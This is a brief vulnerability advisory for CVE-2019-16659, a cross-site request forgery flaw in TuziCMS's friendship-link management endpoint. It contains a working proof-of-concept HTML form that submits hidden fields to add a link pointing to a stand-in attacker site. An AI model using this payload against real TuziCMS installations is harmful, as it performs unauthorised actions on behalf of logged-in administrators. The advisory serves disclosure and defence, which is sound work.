Cross-site request forgery in TuziCMS - CVE-2019-16659
Published: September 23, 2019
TuziCMS
Detailed vulnerability description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists in routinely managed friendship links due to insufficient validation of the HTTP request origin in the "index.php/manage/link/do_add". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
Example:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/tuzicms-master/index.php/manage/link/do_add" method="POST">
<input type="hidden" name="link_name" value="a" />
<input type="hidden" name="link_url" value="http://www.hack.com" />
<input type="hidden" name="link_sort" value="100" />
<input type="hidden" name="link_description" value="aaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>